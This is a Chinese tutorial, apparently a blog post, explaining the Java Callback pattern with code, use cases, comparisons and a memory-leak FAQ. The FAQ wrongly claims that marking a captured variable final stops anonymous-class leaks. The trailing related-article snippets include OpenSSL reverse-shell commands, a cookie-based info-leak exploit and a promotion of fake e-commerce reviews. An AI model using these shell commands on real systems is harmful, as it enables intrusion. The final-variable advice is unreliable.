Java设计模式:Callback
介绍
回调(Callback)是一种设计模式,在这种模式中,一个可执行的代码被作为参数传递给其他代码,接收方的代码可以在适当的时候调用它。
在真实世界的例子中,当我们需要在任务完成时被通知时,我们可以将一个回调方法传递给调用者,并等待它调用以通知我们。简单地说,回调是一个传递给调用者的方法,在定义的时刻被调用。
维基百科说
在计算机编程中,回调又被称为“稍后调用”函数,可以是任何可执行的代码用来作为参数传递给其他代码;其它代码被期望在给定时间内调用回调方法。
代码
回调是一个只有一个方法的简单接口。
public interface Callback {void call();
}
下面我们定义一个任务它将在任务执行完成后执行回调。
public abstract class Task {final void executeWith(Callback callback) {execute();Optional.ofNullable(callback).ifPresent(Callback::call);}public abstract void execute();
}public final class SimpleTask extends Task {private static final Logger LOGGER = getLogger(SimpleTask.class);@Overridepublic void execute() {LOGGER.info("Perform some important activity and after call the callback method.");}
}
最后这里是我们如何执行一个任务然后接收一个回调当它完成时。
var task = new SimpleTask();
task.executeWith(() -> LOGGER.info("I'm done now."));
类图
适用场景
回调模式适用于以下场景:
- 异步操作:当需要在异步操作完成后执行某些操作时,可以使用回调模式。例如,在网络请求中,可以传递一个回调函数,在请求完成后调用该函数处理响应数据。
- 事件处理:当需要对事件进行响应和处理时,可以使用回调模式。例如,在图形界面开发中,可以注册某个控件的回调函数,以便在用户触发事件时执行相应的操作。
- 插件扩展:当需要为应用程序提供扩展性,允许第三方插件在特定事件发生时进行自定义操作时,可以使用回调模式。例如,游戏引擎中的事件系统允许开发者注册回调函数以响应游戏中的特定事件。
- 回调链:当需要按特定顺序执行多个回调函数,并将前一个回调函数的结果传递给下一个回调函数时,可以使用回调模式。这种情况下,回调函数形成了一个回调链。
- 模板方法模式:回调模式常与模板方法模式结合使用。模板方法模式定义了一个算法的骨架,而具体的步骤由子类实现。可以使用回调模式将子类中的具体步骤作为回调函数传递给模板方法。
总的来说,回调模式适用于需要在特定事件发生后执行某些操作的情况,以及需要实现解耦和灵活性的场景。它提供了一种在代码间通信的方式,使得代码可以更加模块化和可复用。
Java例子
- CyclicBarrier 构造函数可以接受回调,该回调将在每次障碍被触发时触发。
FAQ
回调模式如何实现解耦和灵活性?
回调模式通过将一个可执行的代码块(回调函数)作为参数传递给其他代码,实现了解耦和灵活性。
- 解耦性:回调模式可以将调用方与被调用方解耦,使它们之间的关系更加松散。调用方只需要知道回调函数的接口,而不需要了解具体的实现细节。被调用方在特定的时机调用回调函数,而不需要知道调用方的具体实现。这种解耦性使得系统中的不同部分可以独立地进行修改和扩展,而不会对彼此产生过多的依赖。
- 灵活性:回调模式提供了一种灵活的扩展机制。通过传递不同的回调函数,可以改变程序的行为或逻辑,而不需要修改原有的代码。这种灵活性使得系统可以适应不同的需求和变化,而不需要进行大规模的修改或重构。同时,回调模式也允许在运行时动态地修改回调函数,从而实现更高级的动态行为。
通过使用回调模式,系统的不同部分可以相互独立地演化和扩展,而不会引入过多的紧耦合关系。这使得代码更加模块化、可复用和可维护。此外,回调模式还可以提高代码的可测试性,因为可以使用模拟或替代的回调函数来进行单元测试。
总而言之,回调模式通过解耦和灵活性的特性,帮助提高了代码的可维护性、可扩展性和可测试性,使系统更加灵活和适应变化。
回调模式和事件驱动模式有什么区别?
回调模式和事件驱动模式是两种常见的设计模式,它们在某些方面有相似之处,但也存在一些区别。
回调模式:
- 在回调模式中,一个可执行的代码块(回调函数)被传递给其他代码,以便在特定事件发生时被调用。
- 回调函数通常由调用方提供,用于定义在特定事件发生时应该执行的操作。
- 回调模式用于实现解耦和灵活性,允许不同模块之间通过回调函数进行通信,但不依赖于具体的实现细节。
事件驱动模式:
- 事件驱动模式是一种编程范式,其中系统的行为和控制是由事件的发生和处理驱动的。
- 在事件驱动模式中,组件(如控件、对象等)可以产生事件,并将其发送到事件处理程序进行处理。
- 事件处理程序是事先定义好的,用于响应特定类型的事件。
- 事件驱动模式通常涉及事件的发布、订阅和分发机制,以便将事件路由到正确的处理程序。
区别:
- 角色和通信方式:在回调模式中,回调函数是被调用方提供给调用方的,通过函数参数进行传递。而在事件驱动模式中,组件产生事件并将其发送给事件处理程序进行处理。
- 控制流:在回调模式中,调用方主动调用回调函数来传递控制权,以响应特定事件。而在事件驱动模式中,控制流是由事件的发生和处理驱动的,事件处理程序被动地等待事件的发生。
- 灵活性和扩展性:回调模式更加灵活,因为可以将不同的回调函数传递给相同的调用方,从而改变其行为。而事件驱动模式更加适用于大型系统,因为可以通过添加、移除或替换事件处理程序来扩展系统的功能。
- 通信机制:回调模式通常使用函数参数进行通信,而事件驱动模式通常使用发布-订阅或观察者模式来实现事件的传递和处理。
需要注意的是,回调模式和事件驱动模式并不是互斥的,它们可以同时存在于一个系统中,相互配合使用来实现不同的需求。
回调模式和观察者模式有什么区别?
回调模式和观察者模式是两种常见的设计模式,它们在某些方面有相似之处,但也存在一些区别。
回调模式:
- 在回调模式中,一个可执行的代码块(回调函数)被传递给其他代码,以便在特定事件发生时被调用。
- 回调函数通常由调用方提供,用于定义在特定事件发生时应该执行的操作。
- 回调模式用于实现解耦和灵活性,允许不同模块之间通过回调函数进行通信,但不依赖于具体的实现细节。
观察者模式:
- 观察者模式是一种发布-订阅模式,用于在对象之间建立一对多的依赖关系。当一个对象的状态发生变化时,它会通知所有依赖于它的观察者对象。
- 观察者模式通常由一个主题(被观察者)和多个观察者组成。主题维护观察者列表,并在状态变化时通知观察者。
- 观察者模式用于实现对象之间的松耦合,使得主题和观察者可以独立变化,而不会相互影响。
区别:
- 角色和通信方式:在回调模式中,回调函数是被调用方提供给调用方的,通过函数参数进行传递。而在观察者模式中,主题通常维护观察者列表,并通过通知方法将状态变化信息传递给观察者。
- 控制流:在回调模式中,调用方主动调用回调函数来传递控制权,以响应特定事件。而在观察者模式中,主题对象在状态变化时被动地通知观察者,并由观察者决定如何处理通知。
- 关注点:回调模式更关注于事件发生后的回调操作。观察者模式更关注于主题和观察者之间的状态变化通知和处理。
- 依赖关系:在回调模式中,调用方和被调用方之间存在直接依赖关系,因为回调函数是由调用方提供的。而在观察者模式中,主题和观察者之间松耦合,它们只通过接口进行通信,不直接依赖于具体的实现。
需要注意的是,回调模式和观察者模式可以根据具体的应用场景进行选择和组合使用。在某些情况下,它们可以互为补充,实现更灵活和可扩展的系统设计。
使用回调模式,会存在内存泄露吗?
在Java中使用回调模式时,也存在潜在的内存泄漏问题。内存泄漏可能发生在以下情况下:
- 长期持有回调对象:如果一个对象持有一个回调对象的引用,并且该回调对象的生命周期比持有对象更长,那么即使持有对象不再使用,回调对象仍然保持对其的引用,从而导致内存泄漏。
- 匿名内部类回调:当使用匿名内部类作为回调对象时,如果匿名内部类引用了外部类的实例,且该实例的生命周期比回调对象更长,那么即使外部类实例不再需要,回调对象仍然保持对其的引用,导致内存泄漏。
使用回调模式,如何避免内存泄露?
以下是一些常见的方法来避免内存泄漏:
- 及时释放对象引用:确保在不再需要对象时,显式地将其引用设置为null。这样可以使垃圾回收器能够回收对象所占用的内存。
SomeObject obj = new SomeObject();
// 使用obj对象...
obj = null; // 不再需要obj对象时,将其引用设置为null
- 避免长期持有对象引用:当一个对象持有另一个对象的引用时,确保持有引用的对象的生命周期不比被引用对象更长。在不再需要持有对象时,及时将其引用设置为null。
public class SomeClass {private Callback callback;public void setCallback(Callback callback) {this.callback = callback;}public void doSomething() {// 使用callback对象...callback = null; // 不再需要callback对象时,将其引用设置为null} }
- 使用弱引用或软引用:对于某些情况下,当对象不再被强引用引用时,希望能够被垃圾回收,可以使用弱引用(WeakReference)或软引用(SoftReference)来持有对象。这样,在内存不足时,垃圾回收器可以回收这些对象。
SomeObject obj = new SomeObject(); WeakReference<SomeObject> weakRef = new WeakReference<>(obj); // 使用weakRef对象... obj = null; // 不再需要obj对象时,将其引用设置为null// 在适当的时机,检查弱引用是否还持有对象 if (weakRef.get() == null) {// 对象已被垃圾回收 }
- 避免匿名内部类引用外部对象:在使用匿名内部类时,避免在内部类中引用外部类的实例,或者使用静态内部类来避免该问题。如果匿名内部类引用了外部类实例,并且外部类实例的生命周期比内部类更长,就会导致内存泄漏。
public class SomeClass {public void doSomething() {final SomeObject obj = new SomeObject();Runnable runnable = new Runnable() {@Overridepublic void run() {// 使用obj对象...}};// 使用runnable对象...} }
在上述示例中,匿名内部类引用了外部类的
SomeObject
实例obj
。如果在run()
方法中持续引用了obj
,那么即使doSomething()
方法执行完毕,obj
仍然无法被垃圾回收。为避免该问题,可以将SomeObject
声明为final
,或者使用静态内部类。-
1、在Java中,将
SomeObject
声明为final
可以帮助避免匿名内部类引起的内存泄漏问题。当内部类引用外部类的实例时,如果外部类的实例不再需要,但内部类仍然持有对外部类实例的引用,就可能导致内存泄漏。
当将
SomeObject
声明为final
时,编译器会确保在匿名内部类中使用的外部类实例不可变。这意味着在编译时,编译器会将对外部类实例的引用复制给内部类的成员变量,并且该引用在整个内部类的生命周期中保持不变。由于引用是不可变的,因此不会出现外部类实例被内部类持有,从而导致外部类实例无法被垃圾回收的情况。一旦外部类实例不再被引用,即使匿名内部类仍然存在,外部类实例也可以被垃圾回收器回收。
通过将
SomeObject
声明为final
,可以确保在匿名内部类中对外部类实例的引用是安全的,不会导致内存泄漏问题。这是因为编译器在编译时会生成正确的代码,确保内部类不会持有外部类实例的引用超过其生命周期。需要注意的是,虽然使用
final
修饰外部类引用可以帮助避免内存泄漏问题,但这并不是解决所有可能导致内存泄漏的情况的通用解决方案。在处理回调或内部类时,还需要仔细考虑对象引用的生命周期,并采取适当的措施来避免潜在的内存泄漏。 -
2、使用静态内部类可以帮助避免内部类引起的内存泄漏问题。
静态内部类与外部类之间的引用是相互独立的,这意味着静态内部类不会隐式地持有对外部类实例的引用。
当内部类是静态内部类时,它不会隐式地持有对外部类实例的引用。这意味着即使外部类实例不再被引用,静态内部类仍然可以独立存在,而不会阻止外部类实例被垃圾回收。
由于静态内部类不持有对外部类实例的引用,因此在外部类实例不再需要时,可以安全地将其设置为null,并允许垃圾回收器回收内存。
以下是使用静态内部类的示例:
public class SomeClass {private static class CallbackImpl implements Callback {// 实现回调接口的方法}public void doSomething() {Callback callback = new CallbackImpl();// 使用callback对象...callback = null; // 不再需要callback对象时,将其引用设置为null} }
在上述示例中,
CallbackImpl
是静态内部类,它实现了Callback
接口。在doSomething()
方法中,我们创建了CallbackImpl
的实例,并使用它进行回调操作。当不再需要callback
对象时,将其引用设置为null,以允许垃圾回收器回收内存。使用静态内部类可以有效地避免内存泄漏问题,因为它们不会持有对外部类实例的引用,从而使得外部类实例可以在不再需要时被垃圾回收。这使得静态内部类成为一种常见的处理回调或复杂逻辑的有效方式。
-
相关文章:

Java设计模式:Callback
介绍 回调(Callback)是一种设计模式,在这种模式中,一个可执行的代码被作为参数传递给其他代码,接收方的代码可以在适当的时候调用它。 在真实世界的例子中,当我们需要在任务完成时被通知时,我…...

年底旺季,Shopee、Lazada如何通过测评补单技术打造产品权重收割流量
当前Shopee和Lazada平台的主要推广方式仍然以广告为主,毕竟这是平台的主要收入来源之一。然而,由于近年来大量卖家涌入东南亚市场,导致卖家之间的竞争日趋激烈。高额的广告投入并不能带来预期的效果,因此越来越多的卖家开始自学测…...

CentOS 7 安装 MySQL8.0
由于centOS7中默认安装了 MariaDB , 需要先进行卸载 # 查看版本 rpm -qa | grep mariadb # 卸载 rpm -e --nodeps 文件名 # 查看是否卸载干净 rpm -qa | grep mariadb安装wget: yum -y install wget进入/usr/local/下: cd /usr/local/新建mysqlrpm文…...

C# 往多线程传递安全参数的方法
在C#构造一个线程时,要向其传递一个函数,这个函数可以试简单的无参函数,也可以是参数为Object类型的函数,但是由于参数类型为Object,因此编译器无法实行类型检查,看下面的例子: class Program{…...

Java之SPI
Java的SPI(Service Provider Interface)是一种面向接口编程的机制,用于实现组件之间的解耦和扩展。通过SPI机制,我们可以定义接口,并允许第三方提供不同的实现,从而实现可插拔、可扩展的架构。 SPI讲解 它…...

【数据结构】算法的空间复杂度
🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...

恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题为什么改变?恢复经典右键菜单 我是将军我一直都在,。! 恢复Windows 11经典右键菜单:一…...

Android:事件分发机制(二)
这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view,要执行下一层的view的点击事件 我们知道,方法是将上一层的…...

vue2时间处理插件——dayjs
在vue时间处理上有很多的方法和实现,可以自己实现,但是效率不高,所以,在框架开发中我们一般不会手写,一般是使用集成的第三方插件来解决我们的问题,在vue3中大家一般都使用Moment.js来处理,所以…...

软考 系统架构设计师系列知识点之软件质量属性(6)
接前一篇文章:软考 系统架构设计师系列知识点之软件质量属性(5) 所属章节: 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段,公司的架构师…...

Python6-wxPython库
Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...

使用OpenSSL的反弹shell
1、攻击机生成证书: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...

竞赛选题 深度学习OCR中文识别 - opencv python
文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习OCR中文识别系统 ** 该项目较为新颖,适合作为竞赛课题方向,…...

ezEIP信息泄露
漏洞描述 ezEIP存在信息泄露漏洞,通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie(通过遍历获取用户的登录名电话邮箱等信息) WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...

02.机器学习原理(复习)
目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》,B站自行搜…...

电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。
一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造,特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能,包括线路过…...

UE4和C++ 开发--HUD类
HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器,创建一个蓝图类,搜索HUD,选择并命名BP_HUD。 2. 开始绘制 打开事件列表,右键搜索 EventReceive Draw HUD。有两…...

使用js怎么设置视频背景
要使用JavaScript设置网页的视频背景,你需要将视频元素添加到你的HTML文档中,然后使用JavaScript来控制它 首先,在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...

Gin,Gorm实现Web计算器
目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符,替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...

11-网络篇-DNS步骤
1.URL URL就是我们常说的网址 https://www.baidu.com/?from1086k https是协议 m.baidu.com是服务器域名 ?from1086k是路径 2.域名 比如https://www.baidu.com 顶级域名.com 二级域名baidu 三级域名www 3.域名解析DNS DNS就是将域名转换成IP的过程 根域名服务器:…...

设计师都应该知道的事:极简主义家具该怎么去用
这座房子有黑暗而沉重的特征,包括棕色和白色的马赛克浴室瓷砖,弯曲的锻铁壁灯和土黄色的威尼斯石膏墙。但由于房屋与他们的风格相去甚远,白色,干净和简约,接下来我们就着这个方向去帮助房主进行改造。 她解释说&#x…...

设计模式02———建造者模式 c#
首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒(个人喜好) 任务:使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将C…...

2023最新接口自动化测试面试题
1、get和post的区别? l http是上层请求协议,主要定义了服务端和客户端的交互规格,底层都是tcp/ip协议 l Get会把参数附在url之后,用?分割,&连接不同参数,Get获取资源,post会把…...

GaN器件的工作原理
目录 AlGaN/GaNHEMT 器件工作原理(常开-耗尽型器件)常关 AlGaN/GaN 功率晶体管(增强型器件)HD-GIT与SP-HEMT AlGaN/GaNHEMT 器件工作原理(常开-耗尽型器件) 来源:毫米波GaN基功率器件及MMIC电路…...

点云从入门到精通技术详解100篇-海量三维点云的空间索引及可视化应用(续)
目录 3.2.3 方向八叉树与八叉树的比较 3.3 多级索引结构 3.3.1 多级索引结构的构建...

androidx和v4包资源冲突解决方法
一、资源包会报如下错误: 错误类似 (androidx.core:core:1.10.0) 和 (com.android.support:support-compat:24.2.0) 表示资源重复,不知调用androidx包下面的,还是v4包下面的 Duplicate class android.support.v4.app.INotificationSideCha…...

【发烧期间随笔】第一次游戏开发经历的总结与反思
一、前言 这两天三阳了,头疼头晕恶心发烧打喷嚏流鼻涕咳嗽嗓子疼气管疼都找上门来了,这导致一周以来都没学什么东西,无意间又刷到各个游戏厂关于本人目标岗位HC骤减且要求造火箭的能力的消息,这两天一直是在病痛和焦虑中度过的&a…...

CCombBox组合框
1、 MFC_Combo_Box(组合框)的详细用法_mfc combo-CSDN博客 2、 常用属性设置: 属性 含义 data 设置内容,不同内容间用英文的分号“;”分隔 type 显示风格 Sort True 内容自动排序 常用接口: 接口 功能 CComboBox::AddString 组…...

机器学习-有监督学习-神经网络
目录 线性模型分类与回归感知机模型激活函数维度诅咒过拟合和欠拟合正则数据增强数值稳定性神经网络大家族CNNRNNGNN(图神经网络)GAN 线性模型 向量版本 y ⟨ w , x ⟩ b y \langle w, x \rangle b y⟨w,x⟩b 分类与回归 懂得两者区别激活函数&a…...

React之组件通信
#一、是什么 我们将组件间通信可以拆分为两个词: 组件通信 回顾Vue系列 (opens new window)的文章,组件是vue中最强大的功能之一,同样组件化是React的核心思想 相比vue,React的组件更加灵活和多样,按照不同的方式可…...